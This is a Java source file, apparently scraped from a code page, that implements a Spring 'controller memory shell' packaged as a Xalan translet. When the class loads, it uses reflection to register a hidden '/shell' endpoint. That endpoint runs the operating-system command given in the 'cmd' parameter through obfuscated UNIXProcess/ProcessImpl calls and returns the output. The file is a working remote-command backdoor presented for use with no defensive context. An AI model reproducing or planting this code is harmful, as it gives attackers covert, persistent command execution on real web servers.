1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method;
public class InjectToController extends AbstractTranslet {
public InjectToController() { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method2 = InjectToController.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.class, Class.class); getMappingForMethod.setAccessible(true); RequestMappingInfo info = (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, InjectToController.class);
InjectToController springControllerMemShell = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } catch (Exception e) {
} }
public InjectToController(String aaa) { }
@RequestMapping("/shell") public void test() throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
String[] cmd = request.getParameterValues("cmd"); if (cmd != null) { try { PrintWriter writer = response.getWriter(); String o = ""; InputStream in = start(cmd); String result = inputStreamToString(in, "UTF-8"); writer.write(result); writer.flush(); writer.close(); } catch (Exception var9) { } } } private static byte[] toCString(String var0) { if (var0 == null) { return null; } else { byte[] var1 = var0.getBytes(); byte[] var2 = new byte[var1.length + 1]; System.arraycopy(var1, 0, var2, 0, var1.length); var2[var2.length - 1] = 0; return var2; } } public InputStream start(String[] strs) throws Exception { String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115}); String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}); Class clazz = null; try { clazz = Class.forName(unixClass); } catch (ClassNotFoundException var30) { clazz = Class.forName(processClass); } Constructor<?> constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true);
assert strs != null && strs.length > 0;
byte[][] args = new byte[strs.length - 1][]; int size = args.length;
for(int i = 0; i < args.length; ++i) { args[i] = strs[i + 1].getBytes(); size += args[i].length; }
byte[] argBlock = new byte[size]; int i = 0; byte[][] var10 = args; int var11 = args.length;
for(int var12 = 0; var12 < var11; ++var12) { byte[] arg = var10[var12]; System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; }
int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; FileInputStream f0 = null; FileOutputStream f1 = null; FileOutputStream f2 = null; try { if (f0 != null) { ((FileInputStream)f0).close(); } } finally { try { if (f1 != null) { ((FileOutputStream)f1).close(); } } finally { if (f2 != null) { ((FileOutputStream)f2).close(); } } } Object object = constructor.newInstance(this.toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false); Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); inMethod.setAccessible(true); return (InputStream)inMethod.invoke(object); } public String inputStreamToString(InputStream in, String charset) throws IOException { try { if (charset == null) { charset = "UTF-8"; } ByteArrayOutputStream out = new ByteArrayOutputStream(); int a = 0; byte[] b = new byte[1024]; while((a = in.read(b)) != -1) { out.write(b, 0, a); } String var6 = new String(out.toByteArray()); return var6; } catch (IOException var10) { throw var10; } finally { if (in != null) { in.close(); } } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|